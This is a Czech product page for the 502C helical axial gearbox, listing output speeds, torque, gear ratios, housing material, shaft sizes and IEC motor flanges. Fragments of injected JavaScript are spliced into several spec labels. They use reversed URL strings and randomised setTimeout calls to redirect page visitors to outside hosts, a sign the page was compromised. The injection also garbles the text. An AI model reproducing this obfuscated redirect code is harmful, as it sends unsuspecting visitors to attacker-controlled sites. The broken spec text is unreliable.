Description
Dokumentace:
Katalogový list čelní axiální 502C
1 soubor(y) 214.72 KB
Seznam ND 502C
1 soubor(y) 1.54 MB
komponenty pro pohonnou techniku - tel. 608 035 402
| Typ: | 502C |
| Výstupní otáčky: | 16,4-167 min-1 (n1 = 1400 min-1) |
| Výstupní toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 320 Nm |
| Převotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dový poměr: | 8,38 – 85,19 : 1 |
| Materiál skříně: | litina |
| Výstupní plná hřídel: | Ø30 mm, Ø35 mm |
| Mazání: | syntetický olej |
| Velikost motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 63B14 /71B14 / 80B14 / 90B14 /100B14 /112B14 / 71B5 / 80B5 / 90B5 /100B5 /112B5 |
Dokumentace:
| Převodový poměr | 1:7 |
|---|---|
| Vstupní motorová příruba | B14/56 |
| Velikost převodové skříně | 030, 040, 050 |
Reviews
There are no reviews yet.